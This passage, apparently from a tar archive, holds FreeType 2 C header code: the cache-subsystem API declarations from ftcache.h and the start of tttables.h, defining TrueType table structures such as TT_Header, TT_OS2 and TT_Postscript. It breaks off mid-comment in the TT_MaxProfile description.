the */ /* node from being flushed out of the cache until you explicitly */ /* `release' it (see @FTC_Node_Unref). */ /* */ /* See also @FTC_SBitCache_Lookup and @FTC_ImageCache_Lookup. */ /* */ typedef struct FTC_NodeRec_* FTC_Node; /*************************************************************************/ /* */ /* <Function> */ /* FTC_Manager_New */ /* */ /* <Description> */ /* Create a new cache manager. */ /* */ /* <Input> */ /* library :: The parent FreeType library handle to use. */ /* */ /* max_faces :: Maximum number of opened @FT_Face objects managed by */ /* this cache instance. Use~0 for defaults. */ /* */ /* max_sizes :: Maximum number of opened @FT_Size objects managed by */ /* this cache instance. Use~0 for defaults. */ /* */ /* max_bytes :: Maximum number of bytes to use for cached data nodes. */ /* Use~0 for defaults. Note that this value does not */ /* account for managed @FT_Face and @FT_Size objects. */ /* */ /* requester :: An application-provided callback used to translate */ /* face IDs into real @FT_Face objects. */ /* */ /* req_data :: A generic pointer that is passed to the requester */ /* each time it is called (see @FTC_Face_Requester). */ /* */ /* <Output> */ /* amanager :: A handle to a new manager object. 0~in case of */ /* failure. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FTC_Manager_New( FT_Library library, FT_UInt max_faces, FT_UInt max_sizes, FT_ULong max_bytes, FTC_Face_Requester requester, FT_Pointer req_data, FTC_Manager *amanager ); /*************************************************************************/ /* */ /* <Function> */ /* FTC_Manager_Reset */ /* */ /* <Description> */ /* Empty a given cache manager. This simply gets rid of all the */ /* currently cached @FT_Face and @FT_Size objects within the manager. */ /* */ /* <InOut> */ /* manager :: A handle to the manager. */ /* */ FT_EXPORT( void ) FTC_Manager_Reset( FTC_Manager manager ); /*************************************************************************/ /* */ /* <Function> */ /* FTC_Manager_Done */ /* */ /* <Description> */ /* Destroy a given manager after emptying it. */ /* */ /* <Input> */ /* manager :: A handle to the target cache manager object. */ /* */ FT_EXPORT( void ) FTC_Manager_Done( FTC_Manager manager ); /*************************************************************************/ /* */ /* <Function> */ /* FTC_Manager_LookupFace */ /* */ /* <Description> */ /* Retrieve the @FT_Face object that corresponds to a given face ID */ /* through a cache manager. */ /* */ /* <Input> */ /* manager :: A handle to the cache manager. */ /* */ /* face_id :: The ID of the face object. */ /* */ /* <Output> */ /* aface :: A handle to the face object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The returned @FT_Face object is always owned by the manager. You */ /* should never try to discard it yourself. */ /* */ /* The @FT_Face object doesn't necessarily have a current size object */ /* (i.e., face->size can be~0). If you need a specific `font size', */ /* use @FTC_Manager_LookupSize instead. */ /* */ /* Never change the face's transformation matrix (i.e., never call */ /* the @FT_Set_Transform function) on a returned face! If you need */ /* to transform glyphs, do it yourself after glyph loading. */ /* */ /* When you perform a lookup, out-of-memory errors are detected */ /* _within_ the lookup and force incremental flushes of the cache */ /* until enough memory is released for the lookup to succeed. */ /* */ /* If a lookup fails with `FT_Err_Out_Of_Memory' the cache has */ /* already been completely flushed, and still no memory was available */ /* for the operation. */ /* */ FT_EXPORT( FT_Error ) FTC_Manager_LookupFace( FTC_Manager manager, FTC_FaceID face_id, FT_Face *aface ); /*************************************************************************/ /* */ /* <Struct> */ /* FTC_ScalerRec */ /* */ /* <Description> */ /* A structure used to describe a given character size in either */ /* pixels or points to the cache manager. See */ /* @FTC_Manager_LookupSize. */ /* */ /* <Fields> */ /* face_id :: The source face ID. */ /* */ /* width :: The character width. */ /* */ /* height :: The character height. */ /* */ /* pixel :: A Boolean. If 1, the `width' and `height' fields are */ /* interpreted as integer pixel character sizes. */ /* Otherwise, they are expressed as 1/64th of points. */ /* */ /* x_res :: Only used when `pixel' is value~0 to indicate the */ /* horizontal resolution in dpi. */ /* */ /* y_res :: Only used when `pixel' is value~0 to indicate the */ /* vertical resolution in dpi. */ /* */ /* <Note> */ /* This type is mainly used to retrieve @FT_Size objects through the */ /* cache manager. */ /* */ typedef struct FTC_ScalerRec_ { FTC_FaceID face_id; FT_UInt width; FT_UInt height; FT_Int pixel; FT_UInt x_res; FT_UInt y_res; } FTC_ScalerRec; /*************************************************************************/ /* */ /* <Struct> */ /* FTC_Scaler */ /* */ /* <Description> */ /* A handle to an @FTC_ScalerRec structure. */ /* */ typedef struct FTC_ScalerRec_* FTC_Scaler; /*************************************************************************/ /* */ /* <Function> */ /* FTC_Manager_LookupSize */ /* */ /* <Description> */ /* Retrieve the @FT_Size object that corresponds to a given */ /* @FTC_ScalerRec pointer through a cache manager. */ /* */ /* <Input> */ /* manager :: A handle to the cache manager. */ /* */ /* scaler :: A scaler handle. */ /* */ /* <Output> */ /* asize :: A handle to the size object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The returned @FT_Size object is always owned by the manager. You */ /* should never try to discard it by yourself. */ /* */ /* You can access the parent @FT_Face object simply as `size->face' */ /* if you need it. Note that this object is also owned by the */ /* manager. */ /* */ /* <Note> */ /* When you perform a lookup, out-of-memory errors are detected */ /* _within_ the lookup and force incremental flushes of the cache */ /* until enough memory is released for the lookup to succeed. */ /* */ /* If a lookup fails with `FT_Err_Out_Of_Memory' the cache has */ /* already been completely flushed, and still no memory is available */ /* for the operation. */ /* */ FT_EXPORT( FT_Error ) FTC_Manager_LookupSize( FTC_Manager manager, FTC_Scaler scaler, FT_Size *asize ); /*************************************************************************/ /* */ /* <Function> */ /* FTC_Node_Unref */ /* */ /* <Description> */ /* Decrement a cache node's internal reference count. When the count */ /* reaches 0, it is not destroyed but becomes eligible for subsequent */ /* cache flushes. */ /* */ /* <Input> */ /* node :: The cache node handle. */ /* */ /* manager :: The cache manager handle. */ /* */ FT_EXPORT( void ) FTC_Node_Unref( FTC_Node node, FTC_Manager manager ); /************************************************************************* * * @function: * FTC_Manager_RemoveFaceID * * @description: * A special function used to indicate to the cache manager that * a given @FTC_FaceID is no longer valid, either because its * content changed, or because it was deallocated or uninstalled. * * @input: * manager :: * The cache manager handle. * * face_id :: * The @FTC_FaceID to be removed. * * @note: * This function flushes all nodes from the cache corresponding to this * `face_id', with the exception of nodes with a non-null reference * count. * * Such nodes are however modified internally so as to never appear * in later lookups with the same `face_id' value, and to be immediately * destroyed when released by all their users. * */ FT_EXPORT( void ) FTC_Manager_RemoveFaceID( FTC_Manager manager, FTC_FaceID face_id ); /************************************************************************* * * @type: * FTC_CMapCache * * @description: * An opaque handle used to model a charmap cache. This cache is to * hold character codes -> glyph indices mappings. * */ typedef struct FTC_CMapCacheRec_* FTC_CMapCache; /************************************************************************* * * @function: * FTC_CMapCache_New * * @description: * Create a new charmap cache. * * @input: * manager :: * A handle to the cache manager. * * @output: * acache :: * A new cache handle. NULL in case of error. * * @return: * FreeType error code. 0~means success. * * @note: * Like all other caches, this one will be destroyed with the cache * manager. * */ FT_EXPORT( FT_Error ) FTC_CMapCache_New( FTC_Manager manager, FTC_CMapCache *acache ); /************************************************************************ * * @function: * FTC_CMapCache_Lookup * * @description: * Translate a character code into a glyph index, using the charmap * cache. * * @input: * cache :: * A charmap cache handle. * * face_id :: * The source face ID. * * cmap_index :: * The index of the charmap in the source face. Any negative value * means to use the cache @FT_Face's default charmap. * * char_code :: * The character code (in the corresponding charmap). * * @return: * Glyph index. 0~means `no glyph'. * */ FT_EXPORT( FT_UInt ) FTC_CMapCache_Lookup( FTC_CMapCache cache, FTC_FaceID face_id, FT_Int cmap_index, FT_UInt32 char_code ); /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /***** *****/ /***** IMAGE CACHE OBJECT *****/ /***** *****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /************************************************************************* * * @struct: * FTC_ImageTypeRec * * @description: * A structure used to model the type of images in a glyph cache. * * @fields: * face_id :: * The face ID. * * width :: * The width in pixels. * * height :: * The height in pixels. * * flags :: * The load flags, as in @FT_Load_Glyph. * */ typedef struct FTC_ImageTypeRec_ { FTC_FaceID face_id; FT_UInt width; FT_UInt height; FT_Int32 flags; } FTC_ImageTypeRec; /************************************************************************* * * @type: * FTC_ImageType * * @description: * A handle to an @FTC_ImageTypeRec structure. * */ typedef struct FTC_ImageTypeRec_* FTC_ImageType; /* */ #define FTC_IMAGE_TYPE_COMPARE( d1, d2 ) \ ( (d1)->face_id == (d2)->face_id && \ (d1)->width == (d2)->width && \ (d1)->flags == (d2)->flags ) /*************************************************************************/ /* */ /* <Type> */ /* FTC_ImageCache */ /* */ /* <Description> */ /* A handle to a glyph image cache object. They are designed to */ /* hold many distinct glyph images while not exceeding a certain */ /* memory threshold. */ /* */ typedef struct FTC_ImageCacheRec_* FTC_ImageCache; /*************************************************************************/ /* */ /* <Function> */ /* FTC_ImageCache_New */ /* */ /* <Description> */ /* Create a new glyph image cache. */ /* */ /* <Input> */ /* manager :: The parent manager for the image cache. */ /* */ /* <Output> */ /* acache :: A handle to the new glyph image cache object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FTC_ImageCache_New( FTC_Manager manager, FTC_ImageCache *acache ); /*************************************************************************/ /* */ /* <Function> */ /* FTC_ImageCache_Lookup */ /* */ /* <Description> */ /* Retrieve a given glyph image from a glyph image cache. */ /* */ /* <Input> */ /* cache :: A handle to the source glyph image cache. */ /* */ /* type :: A pointer to a glyph image type descriptor. */ /* */ /* gindex :: The glyph index to retrieve. */ /* */ /* <Output> */ /* aglyph :: The corresponding @FT_Glyph object. 0~in case of */ /* failure. */ /* */ /* anode :: Used to return the address of the corresponding cache */ /* node after incrementing its reference count (see note */ /* below). */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The returned glyph is owned and managed by the glyph image cache. */ /* Never try to transform or discard it manually! You can however */ /* create a copy with @FT_Glyph_Copy and modify the new one. */ /* */ /* If `anode' is _not_ NULL, it receives the address of the cache */ /* node containing the glyph image, after increasing its reference */ /* count. This ensures that the node (as well as the @FT_Glyph) will */ /* always be kept in the cache until you call @FTC_Node_Unref to */ /* `release' it. */ /* */ /* If `anode' is NULL, the cache node is left unchanged, which means */ /* that the @FT_Glyph could be flushed out of the cache on the next */ /* call to one of the caching sub-system APIs. Don't assume that it */ /* is persistent! */ /* */ FT_EXPORT( FT_Error ) FTC_ImageCache_Lookup( FTC_ImageCache cache, FTC_ImageType type, FT_UInt gindex, FT_Glyph *aglyph, FTC_Node *anode ); /*************************************************************************/ /* */ /* <Function> */ /* FTC_ImageCache_LookupScaler */ /* */ /* <Description> */ /* A variant of @FTC_ImageCache_Lookup that uses an @FTC_ScalerRec */ /* to specify the face ID and its size. */ /* */ /* <Input> */ /* cache :: A handle to the source glyph image cache. */ /* */ /* scaler :: A pointer to a scaler descriptor. */ /* */ /* load_flags :: The corresponding load flags. */ /* */ /* gindex :: The glyph index to retrieve. */ /* */ /* <Output> */ /* aglyph :: The corresponding @FT_Glyph object. 0~in case of */ /* failure. */ /* */ /* anode :: Used to return the address of the corresponding */ /* cache node after incrementing its reference count */ /* (see note below). */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The returned glyph is owned and managed by the glyph image cache. */ /* Never try to transform or discard it manually! You can however */ /* create a copy with @FT_Glyph_Copy and modify the new one. */ /* */ /* If `anode' is _not_ NULL, it receives the address of the cache */ /* node containing the glyph image, after increasing its reference */ /* count. This ensures that the node (as well as the @FT_Glyph) will */ /* always be kept in the cache until you call @FTC_Node_Unref to */ /* `release' it. */ /* */ /* If `anode' is NULL, the cache node is left unchanged, which means */ /* that the @FT_Glyph could be flushed out of the cache on the next */ /* call to one of the caching sub-system APIs. Don't assume that it */ /* is persistent! */ /* */ /* Calls to @FT_Set_Char_Size and friends have no effect on cached */ /* glyphs; you should always use the FreeType cache API instead. */ /* */ FT_EXPORT( FT_Error ) FTC_ImageCache_LookupScaler( FTC_ImageCache cache, FTC_Scaler scaler, FT_ULong load_flags, FT_UInt gindex, FT_Glyph *aglyph, FTC_Node *anode ); /*************************************************************************/ /* */ /* <Type> */ /* FTC_SBit */ /* */ /* <Description> */ /* A handle to a small bitmap descriptor. See the @FTC_SBitRec */ /* structure for details. */ /* */ typedef struct FTC_SBitRec_* FTC_SBit; /*************************************************************************/ /* */ /* <Struct> */ /* FTC_SBitRec */ /* */ /* <Description> */ /* A very compact structure used to describe a small glyph bitmap. */ /* */ /* <Fields> */ /* width :: The bitmap width in pixels. */ /* */ /* height :: The bitmap height in pixels. */ /* */ /* left :: The horizontal distance from the pen position to the */ /* left bitmap border (a.k.a. `left side bearing', or */ /* `lsb'). */ /* */ /* top :: The vertical distance from the pen position (on the */ /* baseline) to the upper bitmap border (a.k.a. `top */ /* side bearing'). The distance is positive for upwards */ /* y~coordinates. */ /* */ /* format :: The format of the glyph bitmap (monochrome or gray). */ /* */ /* max_grays :: Maximum gray level value (in the range 1 to~255). */ /* */ /* pitch :: The number of bytes per bitmap line. May be positive */ /* or negative. */ /* */ /* xadvance :: The horizontal advance width in pixels. */ /* */ /* yadvance :: The vertical advance height in pixels. */ /* */ /* buffer :: A pointer to the bitmap pixels. */ /* */ typedef struct FTC_SBitRec_ { FT_Byte width; FT_Byte height; FT_Char left; FT_Char top; FT_Byte format; FT_Byte max_grays; FT_Short pitch; FT_Char xadvance; FT_Char yadvance; FT_Byte* buffer; } FTC_SBitRec; /*************************************************************************/ /* */ /* <Type> */ /* FTC_SBitCache */ /* */ /* <Description> */ /* A handle to a small bitmap cache. These are special cache objects */ /* used to store small glyph bitmaps (and anti-aliased pixmaps) in a */ /* much more efficient way than the traditional glyph image cache */ /* implemented by @FTC_ImageCache. */ /* */ typedef struct FTC_SBitCacheRec_* FTC_SBitCache; /*************************************************************************/ /* */ /* <Function> */ /* FTC_SBitCache_New */ /* */ /* <Description> */ /* Create a new cache to store small glyph bitmaps. */ /* */ /* <Input> */ /* manager :: A handle to the source cache manager. */ /* */ /* <Output> */ /* acache :: A handle to the new sbit cache. NULL in case of error. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FTC_SBitCache_New( FTC_Manager manager, FTC_SBitCache *acache ); /*************************************************************************/ /* */ /* <Function> */ /* FTC_SBitCache_Lookup */ /* */ /* <Description> */ /* Look up a given small glyph bitmap in a given sbit cache and */ /* `lock' it to prevent its flushing from the cache until needed. */ /* */ /* <Input> */ /* cache :: A handle to the source sbit cache. */ /* */ /* type :: A pointer to the glyph image type descriptor. */ /* */ /* gindex :: The glyph index. */ /* */ /* <Output> */ /* sbit :: A handle to a small bitmap descriptor. */ /* */ /* anode :: Used to return the address of the corresponding cache */ /* node after incrementing its reference count (see note */ /* below). */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The small bitmap descriptor and its bit buffer are owned by the */ /* cache and should never be freed by the application. They might */ /* as well disappear from memory on the next cache lookup, so don't */ /* treat them as persistent data. */ /* */ /* The descriptor's `buffer' field is set to~0 to indicate a missing */ /* glyph bitmap. */ /* */ /* If `anode' is _not_ NULL, it receives the address of the cache */ /* node containing the bitmap, after increasing its reference count. */ /* This ensures that the node (as well as the image) will always be */ /* kept in the cache until you call @FTC_Node_Unref to `release' it. */ /* */ /* If `anode' is NULL, the cache node is left unchanged, which means */ /* that the bitmap could be flushed out of the cache on the next */ /* call to one of the caching sub-system APIs. Don't assume that it */ /* is persistent! */ /* */ FT_EXPORT( FT_Error ) FTC_SBitCache_Lookup( FTC_SBitCache cache, FTC_ImageType type, FT_UInt gindex, FTC_SBit *sbit, FTC_Node *anode ); /*************************************************************************/ /* */ /* <Function> */ /* FTC_SBitCache_LookupScaler */ /* */ /* <Description> */ /* A variant of @FTC_SBitCache_Lookup that uses an @FTC_ScalerRec */ /* to specify the face ID and its size. */ /* */ /* <Input> */ /* cache :: A handle to the source sbit cache. */ /* */ /* scaler :: A pointer to the scaler descriptor. */ /* */ /* load_flags :: The corresponding load flags. */ /* */ /* gindex :: The glyph index. */ /* */ /* <Output> */ /* sbit :: A handle to a small bitmap descriptor. */ /* */ /* anode :: Used to return the address of the corresponding */ /* cache node after incrementing its reference count */ /* (see note below). */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The small bitmap descriptor and its bit buffer are owned by the */ /* cache and should never be freed by the application. They might */ /* as well disappear from memory on the next cache lookup, so don't */ /* treat them as persistent data. */ /* */ /* The descriptor's `buffer' field is set to~0 to indicate a missing */ /* glyph bitmap. */ /* */ /* If `anode' is _not_ NULL, it receives the address of the cache */ /* node containing the bitmap, after increasing its reference count. */ /* This ensures that the node (as well as the image) will always be */ /* kept in the cache until you call @FTC_Node_Unref to `release' it. */ /* */ /* If `anode' is NULL, the cache node is left unchanged, which means */ /* that the bitmap could be flushed out of the cache on the next */ /* call to one of the caching sub-system APIs. Don't assume that it */ /* is persistent! */ /* */ FT_EXPORT( FT_Error ) FTC_SBitCache_LookupScaler( FTC_SBitCache cache, FTC_Scaler scaler, FT_ULong load_flags, FT_UInt gindex, FTC_SBit *sbit, FTC_Node *anode ); /* */ FT_END_HEADER #endif /* FTCACHE_H_ */ /* END */ freetype2/freetype/tttables.h 0000644 00000131224 15246445047 0012305 0 ustar 00 /***************************************************************************/ /* */ /* tttables.h */ /* */ /* Basic SFNT/TrueType tables definitions and interface */ /* (specification only). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef TTTABLES_H_ #define TTTABLES_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* truetype_tables */ /* */ /* <Title> */ /* TrueType Tables */ /* */ /* <Abstract> */ /* TrueType specific table types and functions. */ /* */ /* <Description> */ /* This section contains definitions of some basic tables specific to */ /* TrueType and OpenType as well as some routines used to access and */ /* process them. */ /* */ /* <Order> */ /* TT_Header */ /* TT_HoriHeader */ /* TT_VertHeader */ /* TT_OS2 */ /* TT_Postscript */ /* TT_PCLT */ /* TT_MaxProfile */ /* */ /* FT_Sfnt_Tag */ /* FT_Get_Sfnt_Table */ /* FT_Load_Sfnt_Table */ /* FT_Sfnt_Table_Info */ /* */ /* FT_Get_CMap_Language_ID */ /* FT_Get_CMap_Format */ /* */ /* FT_PARAM_TAG_UNPATENTED_HINTING */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Struct> */ /* TT_Header */ /* */ /* <Description> */ /* A structure to model a TrueType font header table. All fields */ /* follow the OpenType specification. */ /* */ typedef struct TT_Header_ { FT_Fixed Table_Version; FT_Fixed Font_Revision; FT_Long CheckSum_Adjust; FT_Long Magic_Number; FT_UShort Flags; FT_UShort Units_Per_EM; FT_Long Created [2]; FT_Long Modified[2]; FT_Short xMin; FT_Short yMin; FT_Short xMax; FT_Short yMax; FT_UShort Mac_Style; FT_UShort Lowest_Rec_PPEM; FT_Short Font_Direction; FT_Short Index_To_Loc_Format; FT_Short Glyph_Data_Format; } TT_Header; /*************************************************************************/ /* */ /* <Struct> */ /* TT_HoriHeader */ /* */ /* <Description> */ /* A structure to model a TrueType horizontal header, the `hhea' */ /* table, as well as the corresponding horizontal metrics table, */ /* `hmtx'. */ /* */ /* <Fields> */ /* Version :: The table version. */ /* */ /* Ascender :: The font's ascender, i.e., the distance */ /* from the baseline to the top-most of all */ /* glyph points found in the font. */ /* */ /* This value is invalid in many fonts, as */ /* it is usually set by the font designer, */ /* and often reflects only a portion of the */ /* glyphs found in the font (maybe ASCII). */ /* */ /* You should use the `sTypoAscender' field */ /* of the `OS/2' table instead if you want */ /* the correct one. */ /* */ /* Descender :: The font's descender, i.e., the distance */ /* from the baseline to the bottom-most of */ /* all glyph points found in the font. It */ /* is negative. */ /* */ /* This value is invalid in many fonts, as */ /* it is usually set by the font designer, */ /* and often reflects only a portion of the */ /* glyphs found in the font (maybe ASCII). */ /* */ /* You should use the `sTypoDescender' */ /* field of the `OS/2' table instead if you */ /* want the correct one. */ /* */ /* Line_Gap :: The font's line gap, i.e., the distance */ /* to add to the ascender and descender to */ /* get the BTB, i.e., the */ /* baseline-to-baseline distance for the */ /* font. */ /* */ /* advance_Width_Max :: This field is the maximum of all advance */ /* widths found in the font. It can be */ /* used to compute the maximum width of an */ /* arbitrary string of text. */ /* */ /* min_Left_Side_Bearing :: The minimum left side bearing of all */ /* glyphs within the font. */ /* */ /* min_Right_Side_Bearing :: The minimum right side bearing of all */ /* glyphs within the font. */ /* */ /* xMax_Extent :: The maximum horizontal extent (i.e., the */ /* `width' of a glyph's bounding box) for */ /* all glyphs in the font. */ /* */ /* caret_Slope_Rise :: The rise coefficient of the cursor's */ /* slope of the cursor (slope=rise/run). */ /* */ /* caret_Slope_Run :: The run coefficient of the cursor's */ /* slope. */ /* */ /* caret_Offset :: The cursor's offset for slanted fonts. */ /* */ /* Reserved :: 8~reserved bytes. */ /* */ /* metric_Data_Format :: Always~0. */ /* */ /* number_Of_HMetrics :: Number of HMetrics entries in the `hmtx' */ /* table -- this value can be smaller than */ /* the total number of glyphs in the font. */ /* */ /* long_metrics :: A pointer into the `hmtx' table. */ /* */ /* short_metrics :: A pointer into the `hmtx' table. */ /* */ /* <Note> */ /* For an OpenType variation font, the values of the following fields */ /* can change after a call to @FT_Set_Var_Design_Coordinates (and */ /* friends) if the font contains an `MVAR' table: `caret_Slope_Rise', */ /* `caret_Slope_Run', and `caret_Offset'. */ /* */ typedef struct TT_HoriHeader_ { FT_Fixed Version; FT_Short Ascender; FT_Short Descender; FT_Short Line_Gap; FT_UShort advance_Width_Max; /* advance width maximum */ FT_Short min_Left_Side_Bearing; /* minimum left-sb */ FT_Short min_Right_Side_Bearing; /* minimum right-sb */ FT_Short xMax_Extent; /* xmax extents */ FT_Short caret_Slope_Rise; FT_Short caret_Slope_Run; FT_Short caret_Offset; FT_Short Reserved[4]; FT_Short metric_Data_Format; FT_UShort number_Of_HMetrics; /* The following fields are not defined by the OpenType specification */ /* but they are used to connect the metrics header to the relevant */ /* `hmtx' table. */ void* long_metrics; void* short_metrics; } TT_HoriHeader; /*************************************************************************/ /* */ /* <Struct> */ /* TT_VertHeader */ /* */ /* <Description> */ /* A structure used to model a TrueType vertical header, the `vhea' */ /* table, as well as the corresponding vertical metrics table, */ /* `vmtx'. */ /* */ /* <Fields> */ /* Version :: The table version. */ /* */ /* Ascender :: The font's ascender, i.e., the distance */ /* from the baseline to the top-most of */ /* all glyph points found in the font. */ /* */ /* This value is invalid in many fonts, as */ /* it is usually set by the font designer, */ /* and often reflects only a portion of */ /* the glyphs found in the font (maybe */ /* ASCII). */ /* */ /* You should use the `sTypoAscender' */ /* field of the `OS/2' table instead if */ /* you want the correct one. */ /* */ /* Descender :: The font's descender, i.e., the */ /* distance from the baseline to the */ /* bottom-most of all glyph points found */ /* in the font. It is negative. */ /* */ /* This value is invalid in many fonts, as */ /* it is usually set by the font designer, */ /* and often reflects only a portion of */ /* the glyphs found in the font (maybe */ /* ASCII). */ /* */ /* You should use the `sTypoDescender' */ /* field of the `OS/2' table instead if */ /* you want the correct one. */ /* */ /* Line_Gap :: The font's line gap, i.e., the distance */ /* to add to the ascender and descender to */ /* get the BTB, i.e., the */ /* baseline-to-baseline distance for the */ /* font. */ /* */ /* advance_Height_Max :: This field is the maximum of all */ /* advance heights found in the font. It */ /* can be used to compute the maximum */ /* height of an arbitrary string of text. */ /* */ /* min_Top_Side_Bearing :: The minimum top side bearing of all */ /* glyphs within the font. */ /* */ /* min_Bottom_Side_Bearing :: The minimum bottom side bearing of all */ /* glyphs within the font. */ /* */ /* yMax_Extent :: The maximum vertical extent (i.e., the */ /* `height' of a glyph's bounding box) for */ /* all glyphs in the font. */ /* */ /* caret_Slope_Rise :: The rise coefficient of the cursor's */ /* slope of the cursor (slope=rise/run). */ /* */ /* caret_Slope_Run :: The run coefficient of the cursor's */ /* slope. */ /* */ /* caret_Offset :: The cursor's offset for slanted fonts. */ /* */ /* Reserved :: 8~reserved bytes. */ /* */ /* metric_Data_Format :: Always~0. */ /* */ /* number_Of_VMetrics :: Number of VMetrics entries in the */ /* `vmtx' table -- this value can be */ /* smaller than the total number of glyphs */ /* in the font. */ /* */ /* long_metrics :: A pointer into the `vmtx' table. */ /* */ /* short_metrics :: A pointer into the `vmtx' table. */ /* */ /* <Note> */ /* For an OpenType variation font, the values of the following fields */ /* can change after a call to @FT_Set_Var_Design_Coordinates (and */ /* friends) if the font contains an `MVAR' table: `Ascender', */ /* `Descender', `Line_Gap', `caret_Slope_Rise', `caret_Slope_Run', */ /* and `caret_Offset'. */ /* */ typedef struct TT_VertHeader_ { FT_Fixed Version; FT_Short Ascender; FT_Short Descender; FT_Short Line_Gap; FT_UShort advance_Height_Max; /* advance height maximum */ FT_Short min_Top_Side_Bearing; /* minimum top-sb */ FT_Short min_Bottom_Side_Bearing; /* minimum bottom-sb */ FT_Short yMax_Extent; /* ymax extents */ FT_Short caret_Slope_Rise; FT_Short caret_Slope_Run; FT_Short caret_Offset; FT_Short Reserved[4]; FT_Short metric_Data_Format; FT_UShort number_Of_VMetrics; /* The following fields are not defined by the OpenType specification */ /* but they are used to connect the metrics header to the relevant */ /* `vmtx' table. */ void* long_metrics; void* short_metrics; } TT_VertHeader; /*************************************************************************/ /* */ /* <Struct> */ /* TT_OS2 */ /* */ /* <Description> */ /* A structure to model a TrueType `OS/2' table. All fields comply */ /* to the OpenType specification. */ /* */ /* Note that we now support old Mac fonts that do not include an */ /* `OS/2' table. In this case, the `version' field is always set to */ /* 0xFFFF. */ /* */ /* <Note> */ /* For an OpenType variation font, the values of the following fields */ /* can change after a call to @FT_Set_Var_Design_Coordinates (and */ /* friends) if the font contains an `MVAR' table: `sCapHeight', */ /* `sTypoAscender', `sTypoDescender', `sTypoLineGap', `sxHeight', */ /* `usWinAscent', `usWinDescent', `yStrikeoutPosition', */ /* `yStrikeoutSize', `ySubscriptXOffset', `ySubScriptXSize', */ /* `ySubscriptYOffset', `ySubscriptYSize', `ySuperscriptXOffset', */ /* `ySuperscriptXSize', `ySuperscriptYOffset', and */ /* `ySuperscriptYSize'. */ /* */ /* Possible values for bits in the `ulUnicodeRangeX' fields are given */ /* by the @TT_UCR_XXX macros. */ /* */ typedef struct TT_OS2_ { FT_UShort version; /* 0x0001 - more or 0xFFFF */ FT_Short xAvgCharWidth; FT_UShort usWeightClass; FT_UShort usWidthClass; FT_UShort fsType; FT_Short ySubscriptXSize; FT_Short ySubscriptYSize; FT_Short ySubscriptXOffset; FT_Short ySubscriptYOffset; FT_Short ySuperscriptXSize; FT_Short ySuperscriptYSize; FT_Short ySuperscriptXOffset; FT_Short ySuperscriptYOffset; FT_Short yStrikeoutSize; FT_Short yStrikeoutPosition; FT_Short sFamilyClass; FT_Byte panose[10]; FT_ULong ulUnicodeRange1; /* Bits 0-31 */ FT_ULong ulUnicodeRange2; /* Bits 32-63 */ FT_ULong ulUnicodeRange3; /* Bits 64-95 */ FT_ULong ulUnicodeRange4; /* Bits 96-127 */ FT_Char achVendID[4]; FT_UShort fsSelection; FT_UShort usFirstCharIndex; FT_UShort usLastCharIndex; FT_Short sTypoAscender; FT_Short sTypoDescender; FT_Short sTypoLineGap; FT_UShort usWinAscent; FT_UShort usWinDescent; /* only version 1 and higher: */ FT_ULong ulCodePageRange1; /* Bits 0-31 */ FT_ULong ulCodePageRange2; /* Bits 32-63 */ /* only version 2 and higher: */ FT_Short sxHeight; FT_Short sCapHeight; FT_UShort usDefaultChar; FT_UShort usBreakChar; FT_UShort usMaxContext; /* only version 5 and higher: */ FT_UShort usLowerOpticalPointSize; /* in twips (1/20th points) */ FT_UShort usUpperOpticalPointSize; /* in twips (1/20th points) */ } TT_OS2; /*************************************************************************/ /* */ /* <Struct> */ /* TT_Postscript */ /* */ /* <Description> */ /* A structure to model a TrueType `post' table. All fields comply */ /* to the OpenType specification. This structure does not reference */ /* a font's PostScript glyph names; use @FT_Get_Glyph_Name to */ /* retrieve them. */ /* */ /* <Note> */ /* For an OpenType variation font, the values of the following fields */ /* can change after a call to @FT_Set_Var_Design_Coordinates (and */ /* friends) if the font contains an `MVAR' table: `underlinePosition' */ /* and `underlineThickness'. */ /* */ typedef struct TT_Postscript_ { FT_Fixed FormatType; FT_Fixed italicAngle; FT_Short underlinePosition; FT_Short underlineThickness; FT_ULong isFixedPitch; FT_ULong minMemType42; FT_ULong maxMemType42; FT_ULong minMemType1; FT_ULong maxMemType1; /* Glyph names follow in the `post' table, but we don't */ /* load them by default. */ } TT_Postscript; /*************************************************************************/ /* */ /* <Struct> */ /* TT_PCLT */ /* */ /* <Description> */ /* A structure to model a TrueType `PCLT' table. All fields comply */ /* to the OpenType specification. */ /* */ typedef struct TT_PCLT_ { FT_Fixed Version; FT_ULong FontNumber; FT_UShort Pitch; FT_UShort xHeight; FT_UShort Style; FT_UShort TypeFamily; FT_UShort CapHeight; FT_UShort SymbolSet; FT_Char TypeFace[16]; FT_Char CharacterComplement[8]; FT_Char FileName[6]; FT_Char StrokeWeight; FT_Char WidthType; FT_Byte SerifStyle; FT_Byte Reserved; } TT_PCLT; /*************************************************************************/ /* */ /* <Struct> */ /* TT_MaxProfile */ /* */ /* <Description> */ /* The maximum profile (`maxp') table contains many max values, which */ /* can be used to pre-allocate arrays for speeding up glyph loading */ /* and hinting. */ /* */ /* <Fields> */ /* version :: The version number. */ /* */ /* numGlyphs :: The number of glyphs in this TrueType */ /* font. 